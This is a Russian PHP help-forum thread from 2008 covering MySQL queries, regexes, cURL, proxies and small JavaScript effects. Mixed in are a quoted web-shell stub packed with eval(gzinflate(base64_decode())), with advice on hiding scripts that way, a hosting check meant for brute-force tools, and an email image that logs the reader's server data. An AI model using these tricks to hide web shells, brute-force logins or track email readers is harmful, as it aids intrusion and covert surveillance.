ЗЫ. Кстати, попробуй еще mysql_insert_id(), как GreenBear написал, я про нее забыл совсем).
!{ra!{e/\/
07.04.2008, 14:02
делаю так..добавляю новую строку
$p=mysql_query("INSERT INTO `$bz` ( `N` , `num` , `s1` , `s2` , `Rayon` , `street` , `mat` , `ploch` , `etazh` , `cena` )
VALUES (
'', '".$_SESSION["auth_userid"]."', '', '', '', '', '', '', '', ''
) ");
и каждый раз она добавляется к нонец....как сделать так чтоб она вставлялась в начало....т.е. каждая добавленная становится первый а все остальные смещаются
UPDATE `$bz` SET `N` = `N`+1
INSERT INTO `$bz` (`N`, ....) VALUES (1, ...)
делаю так..добавляю новую строку
$p=mysql_query("INSERT INTO `$bz` ( `N` , `num` , `s1` , `s2` , `Rayon` , `street` , `mat` , `ploch` , `etazh` , `cena` )
VALUES (
'', '".$_SESSION["auth_userid"]."', '', '', '', '', '', '', '', ''
) ");
и каждый раз она добавляется к нонец....как сделать так чтоб она вставлялась в начало....т.е. каждая добавленная становится первый а все остальные смещаются
Какой конец, какое начало, о чем ты? Если даже следовать нестрогой реляционной теории - то отношение (таблица) состоит из набора неупорядоченных кортежей (записей, строк... как удобно). И их порядок в выборке зависит только от построенного оптимизатором плана выполнения =\
Ergoproxy
07.04.2008, 20:04
Как сделать переменную вида $Name==("оля") не чувствительну к регистру?
Какой конец, какое начало, о чем ты? Если даже следовать нестрогой реляционной теории - то отношение (таблица) состоит из набора неупорядоченных кортежей (записей, строк... как удобно). И их порядок в выборке зависит только от построенного оптимизатором плана выполнения =\
Т.е. как запросит, так и выдашь. Запроси при выборке
SELECT * FROM `table` ORDER BY `N` DESC
тебе мускул записи в обратном порядке по полю N отсортирует.
А как это все хранится внутри БД одному богу известно.
Поэтому то, в каком порядке будут выведены записи при запросе без указания сортировки:
SELECT * FROM `table`
звисит от целой кучи условий (боженька суеверный) - от типа используемого формата таблиц (InnoDB, MyISAM, etc), от индексации таблиц и прочего
Как сделать переменную вида $Name==("оля") не чувствительну к регистру?
Неясный вопрос, что надо конкретно? Имя самой переменной всегда будет чувствительным к регистру, т.е. $name и $Name - две разные переменные.
А значение переменной, чтобы сравнить регистронезависимо, можно например перевести в нижний регистр функцией strtolower().
d_x Ну или же strcasecmp(string $str1, string $str2) для php 5
http://il.php.net/manual/ru/function.strcasecmp.php
Сделать только переменную не чувствительной к регистру нельзя, но можно проводить любые операции без учёта регистра.
Doom123, лучше вообще использовать такие функции, которые ещё и с кириллицей работают независимо от текущей локали:
function cyr_strtolower($a) {
$offset=32;
$m=array();
for($i=192;$i<224;$i++)$m[chr($i)]=chr($i+$offset);
return str_replace('Ё','ё',strtr($a,$m));
}
function cyr_strtoupper($a) {
$offset=32;
$m=array();
for($i=192;$i<224;$i++)$m[chr($i+$offset)]=chr($i);
return str_replace('ё','Ё',strtr($a,$m));
}
ex:
cyr_strtoupper("абвгде"); // АБВГДЕ
cyr_strtolower("АБВГДЕ"); // абвгде
То есть тут, чтобы перевести все буквы в строке в нижний регистр, нужно применить strtolower и cyr_strtolower к строке.
Linuxoid
08.04.2008, 22:21
Подскажите недалекому человеку...
Вот видел много раз GET запросы вида http://example.com/?111111
Вопрос: КАК таким образом передать данные?
Просьба не пинать по почкам, я начинающий. :)
В смысле как?
Передать - сделать этот самый гет запрос, например site.com/?id=9999
получить $_GET['id']
Godfather Bulan
08.04.2008, 22:36
а в чем различие? Post & get
В том что пост запрос не виден в строке браузера например)
mod_rewrite тебе в помощь!
Linuxoid
08.04.2008, 23:00
Все. Сам разобрался, все работает. :)
а в чем различие? Post & get
GET
Запрашивает содержимое указанного ресурса. Запрашиваемый ресурс может принимать параметры (например, поисковая система может принимать в качестве параметра искомую строку). Они передаются в строке URI (например: http://www.example.net/resource?param1=value1¶m2=value2). Согласно стандарту HTTP, запросы типа GET считаются идемпотентными[4] — многократное повторение одного и того же запроса GET должно приводить к одинаковым результатам (при условии, что сам ресурс не изменился за время между запросами). Это позволяет кэшировать ответы на запросы GET.
POST
Передаёт пользовательские данные (например, из HTML-формы) заданному ресурсу. Например, в блогах посетители обычно могут вводить свои комментарии к записям в HTML-форму, после чего они передаются серверу методом POST и он помещает их на страницу. При этом передаваемые данные (в примере с блогами — текст комментария) включаются в тело запроса. В отличие от метода GET, метод POST не считается идемпотентным[4], то есть многократное повторение одних и тех же запросов POST может возвращать разные результаты (например, после каждой отправки комментария будет появляться одна копия этого комментария).
Или почитай здесь : http://ru.wikipedia.org/wiki/HTTP
Вообщем есть такой вот скриптик....
$content = file_get_contents("http://bash.org.ru"); // Берем страницу
preg_match_all('/<div class="q">([\s\S]+?)<\/div>\t\t\t/', $content, $out); // Выбираем все записи
$quotes = $out[1];
foreach ($quotes as $quote) {
preg_match('/<div>([\s\S]+?)<\/div>/', $quote, $out); // Берем текст записи
$bash_text = $out[1];
preg_match('/\/quote\/([0-9]+)/', $quote, $out); // ID записи в баше
$bash_id = $out[1];
Тут мы это все забаваем в базу...
}
}
Так вот, требуется...убрать все <br> и поставить туда \n чтоб в базе сохранилось форматирование текста..
и еще было бы замечательно, убрать спец символы...типа " или заменять их на " т.е. не html кодом в "текстовым" символом....
$bash_text=html_entity_decode(str_replace('<br>',"\n",$bash_text));
Я кстати недавно выкладывал класс свой для парсинга баша, может пригодится:)
http://forum.antichat.ru/showpost.php?p=643542&postcount=40
и в догонку...)))
Какой получится запрос в БД если в таблице 2 столбца....ID и Text и надо чтоб при переменной $num=1(или другая цифра) выводилось ID 1 - Text(под этим id) :D думаю понятно обьяснил? :-D
$query = mysql_query("SELECT ............ FROM `data` .............. ");
ps. d_x глянул, это канешно интересней моего, но назначение у моего парсера иное...и поэтому стока "наворотов" не требуется :) а я придерживаюсь, чем меньше код тем меньше косяков :)
2Stearn
$query = mysql_query("SELECT * FROM data where id = '1' ");
while(list($id,$text)=mysql_fetch_row($query)) {
echo "$text";
}
.:EnoT:.
09.04.2008, 09:39
и в догонку...)))
Какой получится запрос в БД если в таблице 2 столбца....ID и Text и надо чтоб при переменной $num=1(или другая цифра) выводилось ID 1 - Text(под этим id) :D думаю понятно обьяснил? :-D
$query = mysql_query("SELECT ............ FROM `data` .............. ");
$num = 1;
$sql = mysql_query("SELECT * FROM `data` WHERE `id` = '".intval($num)."'");
if(mysql_num_rows($sql) > 0)
{
$row = mysql_fetch_array($sql);
echo htmlspecialchars($row['text']);
}
else
{
echo 'Не найдено такого ID';
}
<?php
session_start();
if (filesize('news.txt')==0) {
echo'Новостей нет';
exit;
}
$file=fopen('news.txt','rt') or die('Не могу открыть файл');
$f=explode("|",$file);
$n=count($f);
$i=0;
while($i<$n){
echo $f[$i];
echo $f[$i++];
echo $f[$i++];
$i+=3;
}
fclose($file);
if (isset($_SESSION['admin'])) echo'<a href="admin/admin.php">Админ-Панель</a></br>';
?>
Почему не выводит мессаги из файла?
сам файл: 09.04.08|test|123
Почему не выводит мессаги из файла?
сделай сначала $f=explode("\r\n",$file);
а потом в цикле по $n=count($f); делай
$xxx=explode("|",$f[$i]);
echo $xxx[1];
echo $xxx[2];
echo $xxx[3];
<center> set_time_limit(0) = <? if($limit) echo('<font color=Blue>On</font> (Все ок!)'); else echo('<font color=Red>Off</font> (Этот хостинг не подходит для брута! Ищите другой...)'); ?> </center>
как тоже самое сделать для сокетов?
$socket = fsockopen("www.ya.ru", 80, $errno, $errstr, 30);
<center> Поддержка сокетов = <? if($socket) echo('<font color=Blue>ВКЛЮЧЕНА</font> (Все ок!)'); else echo('<font color=Red>ВЫКЛЮЧЕНА</font> (Этот хостинг не подходит для брута! Ищите другой...)'); ?>
Правильно?
(Это в разных частях)
Не обязательно, тут в случае, если fsockopen вернёт false, нужно смотреть на $errno и $errstr - в этих переменных будет содержаться номер и текст ошибки. Возможно, сокеты выключены, а может быть просто истёк таймаут. Легче просто в случае ошибки вывести $errstr.
можно на примере это показать...
$socket = fsockopen("www.ya.ru", 80, $errno, $errstr, 30);
if(!$socket)
die("Socket error: $errstr ($errno)");
это цитата из шелла мэда
<?php
eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw
-Cut-
/O19dCsltUVCNIAWIIgeFb//eeff/79z/8A')));
?>
как мне и свой скрипт также спрятать ?
Похоже, что целью gzinflate(base64_decode(...)) было не зашифровать скрипт, а просто уменьшить его объём:)
Если нужно получить такое, то можно сначала прогнать свой php-код через gzdeflate (чтобы сжать), а потом через base64_encode.
А eval - выполняет расшифрованный и распакованный php-код в данном случае.
Подскажите, вот каким оьразом можно тут сделать автоматическую переадресацию на другую страницу? через секунду
<?php
mail('mail@mail.ru', 'Zaproc ', print_r($_POST, true));
$additional_headers = "Content-type: text/plain; charset=windows-1251";
?>
Подскажите, вот каким оьразом можно тут сделать автоматическую переадресацию на другую страницу? через секунду
<?php
mail('mail@mail.ru', 'Zaproc ', print_r($_POST, true));
$additional_headers = "Content-type: text/plain; charset=windows-1251";
?>
<?php
echo '<script type="text/javascript">setTimeout(function(){document.location.href=\'ind ex.php\'}, 1000); </script>';
?>
Подскажите, вот каким оьразом можно тут сделать автоматическую переадресацию на другую страницу? через секунду
header("Refresh: 1; url=index.php");
Где после рефреш идет время до переправки в секундах, а в урл - соответственно куда пересылаем.
Вопрос по регулярным выражениям. Каким должно быть регулярное выражение, что бы оно определяло линк вида
http://ww.site.ru/?page_id=8&album=6&photo=24
Т.е выражение должно определять все ссылки в состав которых входит слово &photo=
De-visible
11.04.2008, 00:05
_http://www.codenet.ru/webmast/php/php3/php3_41.php
_http://www.softtime.ru/bookphp/gl7_1.php
Не то?
Вопрос по регулярным выражениям. Каким должно быть регулярное выражение, что бы оно определяло линк вида
http://ww.site.ru/?page_id=8&album=6&photo=24
Т.е выражение должно определять все ссылки в состав которых входит слово &photo=
держи
<?php
$spisok = "spisok.txt";
$zergood = 'good.txt';
for ($doscriot=0;$doscriot<=count($contents);$doscriot++)
{
$spisok = "spisok.txt";
$handle = fopen($spisok,"r");
$contents = fread($handle,filesize($spisok));
fclose($handle);
$contents = explode("\n",$contents);
$stroka=trim($contents[$doscriot]);
$findme="&photo=";
$poisk = strpos($stroka, $findme);
if ($poisk === false) {
}
else {
$udacha = fopen($zergood, 'a');
fwrite($udacha, "$stroka\r\n");
fclose($udacha);
}
}
?>
................................
файл spisok.txt список содержащий ссылки по типу
http://ww.site.ru/?page_id=8&album=6&photo=24
http://ww.site.ru/?wewdq=8&eqwq=6&ewqewq=54
http://ww.site.ru/?page_id=8&album=6&photo=54
http://ww.site.ru/?wewdq=8&eqwq=6&ewqewq=54
.................................
файл good.txt туда будут записываться ссылки содержащие "&photo=" ,необходимо поставить на него права для записи 777
Вопрос по SimpleXML.
Есть у меня xml с таким элементом: <input type="text">.
Скажите пожалуйста, можно ли с помощью xml получить значение атрибута type и как это сделать? Не могу найти инфу.
----
а всё, нашёл
http://www.spravkaweb.ru/php/datafun/xml/simplexml/attributes
скорей всего
gzdeflate(base64_decode('твой скрипт')) потом получаеш типа это HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw/O19dCsltUVCNIAWIIgeFb//eeff/79z/8
я делаю eval(gzinflate(base64_decode('TZBfa .... F55NdSy2SXw=='))); и получаю такую ошибку ..
Parse error: parse error, unexpected '<' in C:\Program Files\Apache Group\Apache2\htdocs\b.php(1) : eval()'d code on line 1
если а делаю echo то весь скрипт нормально распаковывается
когда паковал сделал так:
base64_encode(gzdeflate('<?php --скрипт-- ?>'));
в какую сторону мне идти ?
Lesnoy_chelovek
11.04.2008, 12:43
nicusor, тебе же написали, что у тебя скобочка лишняя стоит. вот и рой в эту сторону.
извините :)
я просто не прочитал внимательно про eval();
проблема решена.
всем спасибо.
ещё один вопрос
отправляю php-изображение по емайлу на gmail, открываю сообщение .. грузится фотка
но в лог файле ничего не пишется.
если открыть http://server/img.jpg то всё нормально пишется.
img.jpg
<?php
header("Content-type: image/jpeg");
$image = imagecreatefromjpeg('foto.jpg');
imagejpeg($image);
imagedestroy($image);
$f = "log.txt";
$fh = fopen($f,'w');
$a = serialize($_SERVER);
fwrite($fh, $a);
fclose($fh)
?>
есть ещё и .httaccess который делает img.jpg видимым для php и eu.jpg
DiffuSer
11.04.2008, 16:50
Народ, подскажите, как сформировать таблицу с mySQL и вывести данные в html-табличке с функцией удаления записей из базы?
.:EnoT:.
11.04.2008, 18:03
DiffuSer
если я правильно понял то так:
<?php
$sql = mysql_query("SELECT * FROM `table`");
if(mysql_num_rows($sql) > 0)
{
echo '<table><tr><td>Поле 1</td><td>Поле 2</td><td>Удалить</td></tr>';
while($row = mysql_fetch_array($sql))
{
echo '<tr><td>'.$row['name1'].'</td><td>'.$row['name2'].'</td></tr><a href="?del='.$row['id'].'">';
}
echo '</table>';
}
else
{
echo 'Записей не найдено';
}
if(!empty($_GET['del']) && is_numeric($_GET['del']))
{
$id = intval($_GET['del']);
$sql = mysql_query("DELETE * FROM `table` WHERE `id` = '".$id."'");
if($sql)
{
echo $id.' успешно удалён';
}
else
{
echo 'Не удалось удалить id '.$id ;
}
}
?>
Типо того...писал с ходу, поэтмоу возможны ошибки)
Драсте... я вот чтото сасем одурел .....
есть скрипт отправки письма на мыло ... он рабочий, но проблема в том что он рабочий только если обратится к нему на прямую, тоесть www.site.ru/includes/remind.php но он должен работать так if(isset($_GET['forget'])) {require_once ('includes/remind.php');}
Но получается так что если запустить его первым образом письмо отсылается а если 2ым то не хочет отправлять... вправьте мне мозги плз
я какие конкретно ошибки выдает. и если возможно то код remind.php
remind.php - до этого места идёт проверка пришедших данных из формы и присваение
$tos и $text
<?php
include_once "mail/mailx.php";
include_once "mail/mailenc.php";
include_once "mail/template.php";
$a = 1;
foreach ($tos as $to)
{
// "Разворачиваем" шаблон, передавая ему $to и $text.
$mail = template("mail.php.eml", array("to" => $to, "text" => $text, ));
// Дальше как обычно: кодируем и отправляем.
$mail = mailenc($mail);
mailx($mail);
}
?>
template.php
<?php ## Обработка шаблона.
function template($__fname, $vars) {
// Перехватываем выходной поток.
ob_start();
// Запускаем файл как программу на PHP.
extract($vars, EXTR_OVERWRITE);
include($__fname);
// Получаем перехваченный текст.
$text = ob_get_contents();
ob_end_clean();
return $text;
}
?>
mailenc.php
<?php ## Кодирование заголовков письма.
// Корректно кодирует все заголовки в письме $mail с использованием
// метода base64. Кодировка письма определяется автоматически на основе
// заголовка Content-type. Возвращает полученное письмо.
function mailenc($mail) {
// Разделяем тело сообщения и заголовки.
list ($head, $body) = preg_split("/\r?\n\r?\n/s", $mail, 2);
// Определяем кодировку письма по заголовку Content-type.
$encoding = '';
$re = '/^Content-type:\s*\S+\s*;\s*charset\s*=\s*(\S+)/mi';
if (preg_match($re, $head, $p)) $encoding = $p[1];
// Проходимся по всем строкам-заголовкам.
$newhead = "";
foreach (preg_split('/\r?\n/s', $head) as $line) {
// Кодируем очередной заголовок.
$line = mailenc_header($line, $encoding);
$newhead .= "$line\r\n";
}
// Формируем окончательный результат.
return "$newhead\r\n$body";
}
// Кодирует в строке максимально возможную последовательность
// символов, начинающуюся с недопустимого символа и НЕ
// включающую E-mail (адреса E-mail обрамляют символами < и >).
// Если в строке нет ни одного недопустимого символа, преобразование
// не производится.
function mailenc_header($header, $encoding) {
// Кодировка не задана - делать нечего.
if (!$encoding) return $header;
// Сохраняем кодировку в глобальной переменной. Без использования
// ООП это - единственный способ передать дополнительный параметр
// callback-функции.
$GLOBALS['mail_enc_header_encoding'] = $encoding;
return preg_replace_callback(
'/([\x7F-\xFF][^<>\r\n]*)/s',
'mailenc_header_callback',
$header
);
}
// Служебная функция для использования в preg_replace_callback().
function mailenc_header_callback($p) {
$encoding = $GLOBALS['mail_enc_header_encoding'];
// Пробелы в конце оставляем незакодированными.
preg_match('/^(.*?)(\s*)$/s', $p[1], $sp);
return "=?$encoding?B?".base64_encode($sp[1])."?=".$sp[2];
}
?>
mailx.php
<?php ## Более удобная отправка почты.
// Функция отправляет письмо, полностью заданное в параметре $mail.
// Корректно обрабатываются заголовки To и Subject.
function mailx($mail) {
// Разделяем тело сообщения и заголовки.
list ($head, $body) = preg_split("/\r?\n\r?\n/s", $mail, 2);
// Выделяем заголовок To.
$to = "";
if (preg_match('/^To:\s*([^\r\n]*)[\r\n]*/m', $head, $p)) {
$to = @$p[1]; // сохраняем
$head = str_replace($p[0], "", $head); // удаляем из исходной строки
}
// Выделяем Subject.
$subject = "";
if (preg_match('/^Subject:\s*([^\r\n]*)[\r\n]*/m', $head, $p)) {
$subject = @$p[1];
$head = str_replace($p[0], "", $head);
}
// Отправляем почту. Внимание! Опасный прием!
mail($to, $subject, $body, trim($head));
}
?>
Подскажите есть ли скрипт, при наведении на картинку она как бы чуть приподнимается и сзади нее тень... инет облазил, не нашел(
http://forum.antichat.ru/thread41870.html думаю тебе сюда
Вопрос не по теме, но набросал скрипт такой простенький для примера:
<html><body onload="init()">
<script language='JavaScript'>
var imgmov=3; //на сколько сместить изображение
var shadowcolor='#c0c0c0'; //цвет тени
function init()
{
var st = document.getElementById('shad').style;
st.backgroundColor=shadowcolor;
}
function mov_img(mtype)
{
var st=document.getElementById('shad').style;
switch(mtype)
{
case 0:
st.marginLeft=-imgmov;
st.marginTop=-imgmov;
st.height=document.getElementById('img').height + imgmov;
st.width=document.getElementById('img').width + imgmov;
break;
case 1:
st.marginLeft=0;
st.marginTop=0;
st.height = document.getElementById('img').height;
st.width = document.getElementById('img').width;
break;
}
}
</script>
blabla<br>
<div style="width:0"><div id="shad"><img src='твоё_изображение' onmouseout="mov_img(1);" onmouseover="mov_img(0);" id="img" style="position:relative;"></div></div>
<br>blabla
</body></html>
Подскажите скрипт, который делает так, чтоб просмотреть текст надо нажать на + и он откроется...??
Драсте... я вот чтото сасем одурел .....
есть скрипт отправки письма на мыло ... он рабочий, но проблема в том что он рабочий только если обратится к нему на прямую, тоесть www.site.ru/includes/remind.php но он должен работать так if(isset($_GET['forget'])) {require_once ('includes/remind.php');}
Но получается так что если запустить его первым образом письмо отсылается а если 2ым то не хочет отправлять... вправьте мне мозги плз
а ты уверен что тебе _GET а не _POST нужен???
А если if(isset($_GET['forget'])) {echo "lol";}
пишет лол или нет?
GreenBear
12.04.2008, 13:10
Подскажите скрипт, который делает так, чтоб просмотреть текст надо нажать на + и он откроется...??
<div id="n" style="display:none;">123</div>
<span onClick="document.getElementById('n').style.display = '';">+</span>
Не подходит, при наведении на + буд-то там просто текст, и назад текст нельзя убрать...
GreenBear
12.04.2008, 13:31
а ты просил ?
я не думал что оно обратно не будет сворачиваться.. и все такое...
4NT1P0V зокалебал! Это не PHP!
Бейся головой сюда! http://forum.antichat.ru/thread41870.html
Извеняюсь за оффтоп, но просто совсем не по теме разборки
Кто нибудь может выложить простенький пример
работы пхп через прокси допустим чтобы через прокси открывался yandex.ru
буду очень благодарен
Кто нибудь может выложить простенький пример
работы пхп через прокси допустим чтобы через прокси открывался yandex.ru
буду очень благодарен
<?
$hostname="yandex.ru";
$proxy_hostname="127.0.0.1";
$path="/yandsearch";
$query="http://".$hostname.$path;
$data="text=%E5";
$headers = "POST $query HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ". strlen($data) ."\r\n\r\n";
$fp = fsockopen($proxy_hostname, 80, $errno, $errstr, 30);
if (!$fp) {
echo $errno .": ". $errstr;
} else {
fwrite($fp, $headers.$data);
while (!feof($fp)) {
$buffer .= fgets($fp, 1024);
}
fclose($fp);
}
echo $buffer;
?>
красным выделены прокси и порт
выполняется запрос http://www.yandex.ru/yandsearch?text=%E5
g-warning
12.04.2008, 17:07
вот скрипт для навигации
<?
$CurSec=empty($_GET['act'])?null:$_GET['act'];
if(empty($CurSec))
include("./act/index.inc.php");
elseif(file_exists("./act/".basename($CurSec).".inc.php"))
include("./act/".basename($CurSec).".inc.php");
else
include("./act/error.inc.php");
?>
короч нужно шоб когда вводишь -
index.php?blablabla
выводил ошибку файл /act/error.inc.php
а не /act/index.inc.php
:) :) :)
<?
$CurSec = empty($_GET);
if(!$CurSec)
{
include ('./act/error.inc.php');
}
else
{
include ('./act/index.inc.php');
}
?>
есть такой текст
<div class='row1' style='padding:6px; margin-bottom:0px; padding-left:10px'>
Предупреждения: (<a href="javascript:PopUp('http://liricsdota.net.ru/index.php?act=warn&mid=1&CODE=view','Pager','500', '450','0','1','1','1')">0</a>%) <a href="http://liricsdota.net.ru/index.php?act=warn&type=minus&mid=1" title="Снять предупреждение"><img src='style_images/cozygreen1207740304/warn_minus.gif' border='0' alt='-' /></a><img src='style_images/cozygreen1207740304/warn0.gif' border='0' alt='-----' /><a href="http://liricsdota.net.ru/index.php?act=warn&type=add&mid=1" title="Добавить предупреждение"><img src='style_images/cozygreen1207740304/warn_add.gif' border='0' alt='+' /></a>
как из него вытянуть 0 который тут '1','1','1')">0</a>%) чет у меня не получается
Подскажите как сделать вокруг текста обводку, чтоб текст заключить в нее и задать определенные размеры...
Помогите... Суть вопроса надо чтобы после н-го кол-ва времени скрипт автоматически перезапускался, с сохранение введенных ПАРМЕТРОВ! Возможно ли такое? Гуглю пока ничего не нашел...
Подскажите как сделать вокруг текста обводку, чтоб текст заключить в нее и задать определенные размеры...
Хотя бы ссылку на пример дай что ты хочеш, хотя может я один такой кто не понял...
Помогите... Суть вопроса надо чтобы после н-го кол-ва времени скрипт автоматически перезапускался, с сохранение введенных ПАРМЕТРОВ! Возможно ли такое? Гуглю пока ничего не нашел...
А какие параметры передаеш? и как? Как вариант писать эти параметры в файл или базу, при запуске скрипт берет их скажем из базы, если задаются новые то он их сразу же обновляет в базе...
SeGaLWS
Если вытянуть все совпадения из текста:
//$txt - текст для парсинга
preg_match_all("/'1','1','1'\)\">(\d+)<\/a>%\)/i",$txt,$m);
print_r($m[1]); //$m[1] - массив совпадений
Скрипт берет все из HTML'a
Допустим, что без сохранения параметров, как просто сделать автоматический перезапуск скрипта ...
ДУмаю кто-то понял про что я...
Buffalon
12.04.2008, 21:23
есть такой текст
<div class='row1' style='padding:6px; margin-bottom:0px; padding-left:10px'>
Предупреждения: (<a href="javascript:PopUp('http://liricsdota.net.ru/index.php?act=warn&mid=1&CODE=view','Pager','500', '450','0','1','1','1')">0</a>%) <a href="http://liricsdota.net.ru/index.php?act=warn&type=minus&mid=1" title="Снять предупреждение"><img src='style_images/cozygreen1207740304/warn_minus.gif' border='0' alt='-' /></a><img src='style_images/cozygreen1207740304/warn0.gif' border='0' alt='-----' /><a href="http://liricsdota.net.ru/index.php?act=warn&type=add&mid=1" title="Добавить предупреждение"><img src='style_images/cozygreen1207740304/warn_add.gif' border='0' alt='+' /></a>
как из него вытянуть 0 который тут чет у меня не получается
Ну и походу дела надо искать int и он будет под номером 7 .)Вроде так
A_v, используй Ajax, материала и примеров по нему в инете очень много.
Скрипт берет все из HTML'a
Допустим, что без сохранения параметров, как просто сделать автоматический перезапуск скрипта ...
ДУмаю кто-то понял про что я...
либо через cron либо Ajax
Парни если невпадлу напишите, или дайте ссылочку(конкретную)...
АДМИН не надо горчичнегов :)
Хотя бы ссылку на пример дай что ты хочеш, хотя может я один такой кто не понял...
http://s-ovk.ru/zakaz.html
Я хочу это сделать чтоб было по центру и нормально смотрелось... а то все кувырком...
SeGaLWS
Если вытянуть все совпадения из текста:
//$txt - текст для парсинга
preg_match_all("/'1','1','1'\)\">(\d+)<\/a>%\)/i",$txt,$m);
print_r($m[1]); //$m[1] - массив совпадений
если беру из файла, например http://127.0.0.1/123.txt копи-паст в виде хтмл
http://liricsdota.net.ru/index.php?showuser=1
то все ок
а если на прямую указываю к примеру http://liricsdota.net.ru/index.php?showuser=1 то не хотит ((((
если прально понил, фишка в чем, что в http://127.0.0.1/123.txt нет инородных символов, не указанных в http://liricsdota.net.ru/index.php?showuser=1, типа = и ?
у тебя идет скрипт
<script language='JavaScript'>
function checkform()
{
if (document.getElementById('name').value=="")
return bad_data('name');
if (document.getElementById('phone').value=="")
return bad_data('phone');
if (document.getElementById('mail').value=="")
return bad_data('mail');
}
function bad_data(id)
{
document.getElementById(id).focus();
alert("Вы заполнили не все обязательные поля.");
return false;
}
</script>
далее следует <p><table> - меняй на <p><table border=1> (что бы видеть что делаеш)
и после <p><table border=1> добавь <tr><TD width=35%></TD><TD width=30%>
затем ищи <input name="submit" value="отправить заказ" type="submit">
</font>
</form>
и после добавляй <TD width=35%></TD> </TD></TR>
Ах да, забыл. удали теги <center></center> и замени <div align=center> на <div>
между
</center>
<p>
<td> <script language='JavaScript'>
function checkform()
{
if (document.getElementById('name').value=="")
return bad_data('name');
if (document.getElementById('phone').value=="")
return bad_data('phone');
if (document.getElementById('mail').value=="")
return bad_data('mail');
}
function bad_data(id)
{
document.getElementById(id).focus();
alert("Вы заполнили не все обязательные поля.");
return false;
}
</script>
и <div align="center">
<br> <br>
<pre><font face="Times New Roman, Times, serif" size="3"><strong><em>Наша компания искренне благодарит вас за заявку. Наш менеджер свяжется с вами в ближайшее время. </em></strong></font> </pre>
</div>
http://s-ovk.ru/zakaz.html
Я хочу это сделать чтоб было по центру и нормально смотрелось... а то все кувырком...
открой фронт пагом и набросай шаблон нормально,Ю тогда и будет все ровно
Проблема с curl... Ещё не все функции знаю этой библиотеки, а проблема такая, вот спримет скрипта
$url="www.site.ru";
$url=trim($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
$r = curl_exec($ch);
curl_close($ch);
preg_match_all('#<a href="(\S+)" </a>#i',$r,$zret);
if (ob_get_level() == 0) ob_start();
for ($i=0; $i< count($zret[0]); $i++) {
echo $zret[1][$i]."<br>";
}
Но в результате нечего не выводится(((
Проблема с curl... Ещё не все функции знаю этой библиотеки, а проблема такая, вот спримет скрипта
$url="www.site.ru";
$url=trim($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
$r = curl_exec($ch);
curl_close($ch);
preg_match_all('#<a href="(\S+)" </a>#i',$r,$zret);
if (ob_get_level() == 0) ob_start();
for ($i=0; $i< count($zret[0]); $i++) {
echo $zret[1][$i]."<br>";
}
Но в результате нечего не выводится(((
у тя в регулярке ошибка
мб $url="http://www.site.ru"; ?
и регулярка
'#<a href="(\S+)".*>.*</a>#i'
Держи<? $url="site.ru";
$url=trim($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
$r = curl_exec($ch);
curl_close($ch);
preg_match_all('/\<a.+?href="(.*?)".*?\>(.+?)\<\/a\>/',$r,$zret);
//print_r($zret[0]);
if (ob_get_level() == 0) ob_start();
for ($i=0; $i< count($zret[0]); $i++) {
echo $zret[0][$i]."<br>";
} ?>
мб $url="http://www.site.ru"; ?
и регулярка
'#<a href="(\S+)".*>.*</a>#i'
не много не правильно, я вроде норм прописал и то не уверен, не дружу я с регулярками.... но в твоем случае не будет парситься сыылка типа <a target_balnk href=....>
и даже мой вариант не верный, т.к. не парсит парсит <a href>....<img src=...></a> тоесть показывает картинку.....
если прально понил, фишка в чем, что в http://127.0.0.1/123.txt нет инородных символов, не указанных в http://liricsdota.net.ru/index.php?showuser=1, типа = и ?
ну вот смотри, открываю http://liricsdota.net.ru/index.php?showuser=1 в виде html копирую, вставляю в 123.txt и проверяю....то что из 123.txt дает 0 а то что из http://liricsdota.net.ru/index.php?showuser=1 дает пусту строку.
Точнее массив $m пустой....
Регулярка там немного другая... просто для поста я её подправил, а на самом деле она другая: '#<a href="(\S+)" class=l>([^<]*)</a>#i' .... В регулярке мне кажется все нормально, потому что если всю систему делаю через сокеты, то все работает на ура а вот с curl не хочет работать...
после выводв такого скриптика стало все понятно....
$op = file_get_contents('http://liricsdota.net.ru/index.php?showuser=1');
echo $op;
))) Скинь плиз полностью свой скрипт который у тя работает
после выводв такого скриптика стало все понятно....
$op = file_get_contents('http://liricsdota.net.ru/index.php?showuser=1');
echo $op;
))) Скинь плиз полностью свой скрипт который у тя работает
Может быть я что-то не так смотрю, но на странице http://liricsdota.net.ru/index.php?showuser=1, да и на страницах других юзеров я не смог найти вообще строчку, в которой выводятся их предупреждения...
Buffalon
13.04.2008, 15:00
Как
Составить точную копию сайта на файловой системе сервера... .
<?php
$search = '<form method="get" action="http://domain.ru/search.php?q=" name="audioSearch">
<input class="inputText inputSearch" type="search" name="q" size="15" value="" style="width:350px"/>
<input class="inputSubmit" type="submit" value=" Go! " />
</form>';
echo ".$search.";
?>
Вопрос: Как сделать так, чтобы при нажатии на Go! юзера не перекидывало на http://domain.ru/search.php?q=
Файл search.php на другом сайте находится.
Изменить параметр action тега form на то, что нужно
$search = '<form method="get" action="АДРЕС САЙТА С SEARCH.PHP" name="audioSearch">
Изменить параметр action тега form на то, что нужно
$search = '<form method="get" action="АДРЕС САЙТА С SEARCH.PHP" name="audioSearch">
Так там и стоит, то что мне нужно action="http://domain.ru/search.php?q="
